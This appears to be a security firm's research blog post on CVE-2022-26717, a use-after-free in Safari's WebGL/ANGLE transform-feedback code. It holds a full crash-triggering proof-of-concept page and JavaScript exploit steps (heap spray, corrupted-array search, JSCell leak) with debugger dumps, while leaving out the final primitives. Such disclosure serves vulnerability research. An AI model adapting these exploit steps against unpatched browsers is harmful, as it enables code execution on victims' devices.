Theori Follow

Cybersecurity start-up focused on innovative R&D. We love tackling challenges that are said to be impossible to solve!

Exploiting Safari's ANGLE Component

In early 2022, I (@singi21a) found an interesting bug in WebKit WebGL Component during the code audit. This bug is exploitable and macOS/iOS Safari is affected. The bug is assigned **CVE-2022-26717** in security content of Safari 15.5.

Following software versions are affected and vulnerable to this bug:

- macOS
  - Safari 15.2 (17612.3.6.1.6) on macOS 12.0.1 (x64, M1)
  - Safari 15.2 (17612.3.6.1.6) on macOS 12.1 (x64, M1)
  - Safari 15.3 (17612.4.9.1.5) on macOS 12.2 (x64, M1)
- iOS
  - 15.2.1 (iPhone 12 Mini)
  - 15.3 (iPhone X)

In this post, we share a brief description of the bug and explain the exploitation methodology.

Background on WebGL

WebGL (Web Graphics Library) is a JavaScript API for rendering 2D and 3D graphics within any compatible web browser without the use of external plugins. The WebGL uses **ANGLE** (Almost Native Graphics Layer Engine) project as a backend to support the same level of rendering on multiple platforms.

WebGL has two major versions, WebGL1 and WebGL2. WebGL2 is almost completely backward compatible with WebGL1.

The standards for WebGL1,2 are defined by the Kronos Group.

- WebGL1 : https://www.khronos.org/registry/webgl/specs/latest/1.0/
- WebGL2 : https://www.khronos.org/registry/webgl/specs/latest/2.0/

Safari Browser officially **supports WebGL2 since version 15**.

These objects and features are added to WebGL2:

Share

0 Comments

- Vertex Array Object
- Uniform Buffer Object
- Texture formats
- Samplers
- **Transform Feedback**
- ... (for more features, see https://webgl2fundamentals.org/webgl/lessons/webgl2-whats-new.html)

The bug was found in Transform Feedback (aka XFB) feature.

According to the wiki for OpenGL, Transform Feedback is the process of capturing Primitives generated by the Vertex Processing step(s), recording data from those primitives into Buffer Objects. This allows one to preserve the post-transform rendering state of an object and resubmit this data multiple times.

> *In short, it captures the output of the vertex shader to a buffer object. the captured data is used when rendering at high speed using only GPU without CPU by using it during next draw.*

If you want to know more about this feature, Here is a nice explanation of transform feedback!

Root Cause Analysis & PoC

Let us see the code snippet that had the bug.

- *safari-612.3.6.1.6/Source/ThirdParty/ANGLE/src/libANGLE/renderer/metal/ContextMtl.mm*

```
angle::Result
ContextMtl::handleDirtyGraphicsTransformFeedbackBuffersEmulation(
  const gl::Context *context)
{
//...
for (size_t bufferIndex = 0; bufferIndex < bufferCount; ++bufferIndex)
{
  BufferMtl *bufferHandle = bufferHandles[bufferIndex]; // [1]
  ASSERT(bufferHandle);
  ASSERT(mRenderEncoder.valid());
  uint32_t actualBufferIdx = actualXfbBindings[bufferIndex];
  assert(actualBufferIdx < mtl::kMaxShaderBuffers && "Transform Feedback
Buffer Index should be initialized.");
  mRenderEncoder.setBufferForWrite(
      gl::ShaderType::Vertex, bufferHandle->getCurrentBuffer(), 0,
actualBufferIdx); // [2]
}
//...
```

Note that `handleDirtyGraphicsTransformFeedbackBuffersEmulation` function is called with the following call stack when calling the `drawArrays` method in WebGL.

- call `drawArrays` of WebGL2 with JS code.
- ContextMtl::setupDraw

- ContextMtl::setupDrawImpl
- ContextMtl::handleDirtyGraphicsTransformFeedbackBuffersEmulation

In `[1]`, the code retrieves the `BufferMtl` object from the `bufferHandles[bufferIndex]`. However, `bufferHandle` may contain the freed current buffer object. The crash occurs in `[2]` when `getCurrentBuffer` retrieves and accesses the already freed buffer object.

Here is a PoC code for triggering the bug.

- poc.html

```
<html>
    <head>
        <META HTTP-EQUIV="Pragma" CONTENT="no-cache">
        <META HTTP-EQUIV="Expires" CONTENT="-1">
    </head>
    <script type="vertex" id="vs">
        #version 300 es

        layout (location=0) in vec4 position;
        layout (location=1) in vec3 color;

        out vec3 vColor;
        out float sum;

        void main() {
            vColor = color;
            gl_Position = position;
        }
    </script>
    <script type="fragment" id="fs">
        #version 300 es
        precision highp float;

        in vec3 vColor;
        out vec4 fragColor;

        void main() {
            fragColor = vec4(vColor, 1.0);
        }
    </script>
    <body onload="poc()">
        <canvas id="canvas" width="1024" height="1024"></canvas>
    </body>

    <script>
        function build_link_program()
        {
            var vsSource = document.getElementById("vs").text.trim();
            var fsSource = document.getElementById("fs").text.trim();

            var vertexShader = gl.createShader(gl.VERTEX_SHADER);
            gl.shaderSource(vertexShader, vsSource);
            gl.compileShader(vertexShader);

            if (!gl.getShaderParameter(vertexShader, gl.COMPILE_STATUS)) {
                console.error(gl.getShaderInfoLog(vertexShader));
            }

            var fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
            gl.shaderSource(fragmentShader, fsSource);
            gl.compileShader(fragmentShader);

            if (!gl.getShaderParameter(fragmentShader, gl.COMPILE_STATUS)) {
                console.error(gl.getShaderInfoLog(fragmentShader));
            }

            var program = gl.createProgram();
            gl.attachShader(program, vertexShader);
            gl.attachShader(program, fragmentShader);

            gl.transformFeedbackVaryings(
                program,
                ['sum'],
                gl.SEPARATE_ATTRIBS,
            );
```

```
        gl.linkProgram(program);

        if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
            console.error(gl.getProgramInfoLog(program));
        }
        return program;
    }

    function poc()
    {
        canvas = document.getElementById("canvas");
        gl = canvas.getContext("webgl2"); // create webgl2 context.
        gl.clearColor(0, 0, 0, 1);

        var program = build_link_program();
        gl.useProgram(program);

        var positions = new Float32Array([
            -0.5, -0.5, 0.0,
            0.5, -0.5, 0.0,
            0.0, 0.5, 0.0
        ]);
        const tf = gl.createTransformFeedback();
        gl.bindTransformFeedback(gl.TRANSFORM_FEEDBACK, tf);

        var ab = new ArrayBuffer( 0x1c8 );
        var f64 = new Float64Array(ab);
        var data = new Uint8Array(ab).fill(0x41);

        var sumBuffer = gl.createBuffer();

        gl.bindBuffer(gl.ARRAY_BUFFER, sumBuffer);
        gl.bufferData(gl.ARRAY_BUFFER, 24, gl.STATIC_DRAW);

        gl.bindBufferBase(gl.TRANSFORM_FEEDBACK_BUFFER, 0, sumBuffer);

        gl.bindTransformFeedback(gl.TRANSFORM_FEEDBACK, null);

        var positionBuffer = gl.createBuffer();
        gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer);
        gl.bufferData(gl.ARRAY_BUFFER, positions, gl.STATIC_DRAW);
        gl.bindTransformFeedback(gl.TRANSFORM_FEEDBACK, tf);
        gl.beginTransformFeedback(gl.TRIANGLES);

            var dummy = gl.createBuffer();
            gl.bindBuffer( gl.ARRAY_BUFFER, dummy);

            gl.deleteBuffer( sumBuffer );

            gl.drawArrays(gl.TRIANGLES, 0, 3);
        }
    </script>
</html>
```

Exploit Scenario

We can exploit the vulnerability with the following steps:

1. Heap spray to JSArray butterflies with Dobule and Contigous indexing type.

2. Trigger Bug

    - Since the exact butterfly address for the JSArray object is not known at the time of the trigger, the most frequently used address is used.
3. Search for a vector of length 0x605 and whose first element's value is 0x1010000000000 in the sprayed butterfly.
    - These values are written by the vulnerability.

4. With the corrupted array in Step 3, change the length of the next array to 0x1338, leaking valid JScell.

5. After that, overwrite the JIT region with addrof/fakeobj/read64/write64 primitives.

6. JIT code is written with the shellcode that does the following:
    - sets the rax, rcx, rdx, rdi, rsi registers to 0x1337.
    - int 3.

The following code snippets show how each step is programmed in JavaScript. Step 2 and 3 are the important steps.

1. butterfly spray

```
function array_spray(value)
{
    for(let i=0;i<SPRAY_SIZE;i++)
    {
        tmp = new Array();
        tmp2 = new Array();
        g_double_array.push(tmp);
        g_contigous_array.push(tmp2);
        tmp[0] = 0.0;
        tmp[1] = qwordAsFloat(floatAsQword(value)+0x5d); // [1]
        tmp[2] = 0.0;
        tmp[3] = 0.0;

        tmp2[0] = tmp;
        tmp2[1] = evil_array_content;
        tmp2[2] = evil_array_content;
    }
}
// ...
addr_list = [ qwordAsFloat(0x8515baca8) ]; // [2]
```

In the above code, `array_spray` function creates a butterfly with the following shape and heap sprays it. For Example,

```
0x8d8104030: 0x0000000500000004 // g_double_array vector length | public length
0x8d8104038: 0x0000000000000000 // [0] <- This address is used in the trigger function
0x8d8104040: 0x00000008515bad05 // [1]
0x8d8104048: 0x0000000000000000 // [2]
0x8d8104050: 0x0000000000000000 // [3]
0x8d8104058: 0x7ff8000000000000
0x8d8104060: 0x0000000500000003 // g_contigous_array vector length | public length
0x8d8104068: 0x00000001c49f54c0 // g_double_array's element
0x8d8104070: 0x00000001b822e068 // evil_array_content
0x8d8104078: 0x00000001b822e068 // evil_array_content
0x8d8104080: 0x0000000000000000
0x8d8104088: 0x0000000000000000
```

2. trigger the bug

```
// ...
for(let cnt=0;cnt<addr_list.length;cnt++) {
    for(let j=0;j<5;j++) {
        if(found)
            break;
        trigger(addr_list[cnt]);
// ...
```

The `trigger` function uses the address where the sprayed butterfly described in step 1 exists as an argument.

The following is the main part of the `trigger` function.

```
function trigger(value)
{
    // ...
    g_f64.fill(value);
    g_f64[0] = 0.0;
    g_f64[1] = 0.0;

    g_f64[15] = 0.0;
    g_f64[16] = 0.0;
    g_f64[17] = 0.0;
    g_f64[18] = 0.0;
    g_f64[55] = qwordAsFloat( floatAsQword(value)-0x30 );
    g_f64[56] = 0.0;
    g_f64[57] = 0.0;
    g_f64[58] = 0.0;
// ..trigger code
```

`g_f64` is a `Float64Array` object that the attacker can use to write values to the freed memory region.

In the exploit code, `0.0 (0x000...00)` is set for each specific offset to prevent crashes during exploit execution.

`g_f64[55]` is any address that may be used as long as it is a writeable memory area address.

The following is the memory when reallocated properly in the trigger function above.

```
(lldb) br set -n getCurrentBuffer
Breakpoint 1: where = libANGLE-shared.dylib`rx::BufferHolderMtl::getCurrentBuffer()
const, address = 0x00007ffa28c62186
(lldb) c
Process 17555 resuming
Process 17555 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
    frame #0: 0x00007ffa28c62186 libANGLE-
shared.dylib`rx::BufferHolderMtl::getCurrentBuffer() const
libANGLE-shared.dylib`rx::BufferHolderMtl::getCurrentBuffer:
->  0x7ffa28c62186 <+0>: push   rbp
    0x7ffa28c62187 <+1>: mov    rbp, rsp
    0x7ffa28c6218a <+4>: push   r14
    0x7ffa28c6218c <+6>: push   rbx
Target 0: (com.apple.WebKit.WebContent) stopped.
(lldb) x/10a $rsi
0x7fdb3d94c8f8: 0x00000008515baca8 // will be correct butterfly address.
0x7fdb3d94c900: 0x00000008515baca8
0x7fdb3d94c908: 0x00000008515bac78 // g_f64[55], butterfly address - 0x30.
0x7fdb3d94c910: 0x0000000000000000
0x7fdb3d94c918: 0x0000000000000000
0x7fdb3d94c920: 0x0000000000000000
0x7fdb3d94c928: 0x00000008515baca8
0x7fdb3d94c930: 0x00000008515baca8
0x7fdb3d94c938: 0x00000008515baca8
0x7fdb3d94c940: 0x00000008515baca8
```

3. find the corrupted array

```
for(let i=0;i<SPRAY_SIZE;i++)
{
    if( floatAsQword(g_double_array[i][0]) == 0x1010000000000 ) // find corrupted
array.
    {
        corrupted_array = g_double_array[i];
        corrupted_array[11] = qwordAsFloat( 0x0000133800001338 ); // set to
vector/public length
        for(let i=0;i<SPRAY_SIZE;i++) {
            if(g_double_array[i].length == 0x1338) {
                found = true;
                g_index = i;
                fake_array = g_double_array[i];
            }
        }
        break;
    }
} // end spray-array for loop
```

The code searches for the corrupted array by checking the index 0 (i.e. first element) is set to 0x1010000000000 value in the sprayed arrays.

The reason for this process makes more sense if we look into what happens when the vulnerability is triggered.

```
angle::Result ContextMtl::handleDirtyGraphicsTransformFeedbackBuffersEmulation(
    const gl::Context *context)
// ...
mRenderEncoder.setBufferForWrite(
    gl::ShaderType::Vertex, bufferHandle->getCurrentBuffer(), 0, actualBufferIdx);
// ...
```

As we have seen previously, `getCurrentBuffer` is attacker-controlled and the `setBufferForWrite` method is called.

The `setBufferForWrite` method consequently calls `setUsedByCommandBufferWithQueueSerial`, and the followibng is the `setBufferForWrite` method.

```
RenderCommandEncoder &RenderCommandEncoder::setBufferForWrite(gl::ShaderType
shaderType,
    const BufferRef &buffer,
    uint32_t offset,
    uint32_t index)
{
    // ...
    cmdBuffer().setWriteDependency(buffer);
    // ...
}
```

```
void CommandBuffer::setWriteDependency(const ResourceRef &resource)
{
    // ...
    resource->setUsedByCommandBufferWithQueueSerial(mQueueSerial, true);
}
```

```
void Resource::setUsedByCommandBufferWithQueueSerial(uint64_t serial, bool writing)
{
    if (writing)
    {
        mUsageRef->cpuReadMemNeedSync = true;
        mUsageRef->cpuReadMemDirty    = true;
    }

    mUsageRef->cmdBufferQueueSerial = std::max(mUsageRef->cmdBufferQueueSerial,
serial);
}
```

If we follow the chain, we see that `CommandBuffer::setWriteDependency` contains the following code. Note that `setUsedByCommandBufferWithQueueSerial` is inlined.

```
libANGLE-shared.dylib`rx::mtl::CommandBuffer::setWriteDependency:
    0x7ffa28dc4530 <+0>:   push   rbp
    0x7ffa28dc4531 <+1>:   mov    rbp, rsp
    0x7ffa28dc4534 <+4>:   push   r15
    0x7ffa28dc4536 <+6>:   push   r14
    0x7ffa28dc4538 <+8>:   push   rbx
    0x7ffa28dc4539 <+9>:   push   rax
    // ...
    0x7ffa28dc4561 <+49>:  mov    rax, qword ptr [r15]
    0x7ffa28dc4564 <+52>:  mov    rcx, qword ptr [rbx + 0x18]
    0x7ffa28dc4568 <+56>:  mov    rax, qword ptr [rax + 0x8]
    0x7ffa28dc456c <+60>:  mov    word ptr [rax + 0x8], 0x101 // [1]
    0x7ffa28dc4572 <+66>:  mov    rdx, qword ptr [rax]
    0x7ffa28dc4575 <+69>:  cmp    rdx, rcx
    0x7ffa28dc4578 <+72>:  cmovb  rdx, rcx
    0x7ffa28dc457c <+76>:  mov    qword ptr [rax], rdx // [2] ; rdx is 0x6
    // ...
```

If the bug is successfully triggered, `rax` register has a valid butterfly.

In `[1]`, `0x101` is written in the index 0 of the n-th array of `g_double_array`, and the vector length is set in `[2]`.

The following dump shows the memory after the above code is executed.

```
(lldb) x/32a 0x8515baca8
0x8515baca8: 0x0000000000000000
0x8515bacb0: 0x00000008515bad05 // <- The address is where the value 0x6 (rdx) is written to. We add 5 the address to write to the vector length field of the next array.
0x8515bacb8: 0x0000000000000000
0x8515bacc0: 0x0000000000000000
0x8515bacc8: 0x7ff8000000000000
0x8515bacd0: 0x0000000500000003
0x8515bacd8: 0x000000053cb63ca0
0x8515bace0: 0x0000000508514480
0x8515bace8: 0x0000000508514480
0x8515bacf0: 0x0000000000000000
0x8515bacf8: 0x0000000000000000
0x8515bad00: 0x000006050000000c // <- Vector length becomes 0x605, we can now OOB access below memory with this length.
0x8515bad08: 0x0001010000000000 // <- The index 0 value of array becomes 0x0001010000000000.
0x8515bad10: 0x00000008515bad05
0x8515bad18: 0x0000000000000000
0x8515bad20: 0x0000000000000000
0x8515bad28: 0x7ff8000000000000
0x8515bad30: 0x0000000500000003
0x8515bad38: 0x000000053cb63cc0
0x8515bad40: 0x0000000508514480
0x8515bad48: 0x0000000508514480
0x8515bad50: 0x0000000000000000
0x8515bad58: 0x0000000000000000
0x8515bad60: 0x0000133800001338 // <- Change the next array length with the vector of length 0x605.
0x8515bad68: 0x010824070000b152
0x8515bad70: 0x0000000508514488
0x8515bad78: 0x0000000000000000
0x8515bad80: 0x0000000000000000
0x8515bad88: 0x7ff8000000000000
0x8515bad90: 0x0000000500000003
0x8515bad98: 0x0000000822b00070
0x8515bada0: 0x00000005085ec7e0
```

We find the array where the index 0 value is `0x0001010000000000`, and modify the vector to change the length of the next array.

Now we have a double array of length `0x1338`. We can use this array to create `JSCell` value leaks, fakeobj/addrof primitives.

4. valid JSCell | structure id leak

```
// ...
fake_array[0] = qwordAsFloat(0x0008240700000828);  // fake JSCell | not valid structure id, // [1]
fake_array[1] = fake_array[6];  // fake_array[6] is original array. // [2]
fake_array[6] = qwordAsFloat( floatAsQword( addr_list[0] ) + 0xc0); // [3]
// -------
var jscell = g_contigous_array[g_index][0][0]; // [4]
fake_array[0] = jscell; // store to valid JSCell id & structure id
// ...
```

Above code gets the `jscell` and `structure id` accordingly.

1. Write fake `JSCell` and invalid structure id in index 0 of `fake_array`.
2. Put the index 6 value of `fake_array` (the address of the tmp array) into the index 1 of `fake_array`.
3. Put the index 0 address of `fake_array` into the index 6 element of `fake_array`. (The index 6 element of `fake_array` is the index 0 element of `g_contigous_array`.)
4. Now, when the index 0 element of `g_contigous_array` is read, the `JSCell` and structure id of the tmp array are obtained.

```
// ...
0x8515bad60: 0x0000133800001338
0x8515bad68: 0x0008240700000828 // [0] fake jscell | not valid structure id,
0x8515bad70: 0x000000011dad0f20 // [1] address of tmp array
0x8515bad78: 0x0000000000000000
0x8515bad80: 0x0000000000000000
0x8515bad88: 0x7ff8000000000000
0x8515bad90: 0x0000000500000003 // <- g_contigous_array Nth length
0x8515bad98: 0x00000008515bad68 // <- g_contigous_array Nth index 0.
```

All that remains is to implement addrof and fakeobj. If you have followed well up to this point, you should be able to implement the full exploit. We leave that part as an exercise to our readers in the spirit of not sharing readily-weaponized exploits publicly.

The exploit (without fakeobj/addrof) and PoC can be found here.

Exploit Demo

Conclusion

- New features may present new attack surfaces and vulnerabilities.
- Whether you’re auditing code or building a fuzzer, first check out what’s new!
- If it is hidden by a flag, it is also necessary to observe how that code changes.

References

- https://en.wikipedia.org/wiki/WebGL
- https://webgl2fundamentals.org/webgl/lessons/webgl2-whats-new.html
- https://webgl2fundamentals.org/webgl/lessons/webgl-gpgpu.html

- https://www.khronos.org/registry/webgl/specs/latest/2.0/

18 May 2022

research

#RCE #Safari #Use After Free #WebKit

« Qubit Bridge Post-mortem

Welcome to Theori 👋 티오리 웰컴키트 제작기 »

Explore →

news (4) research (21) korean (11) development (1) culture (6)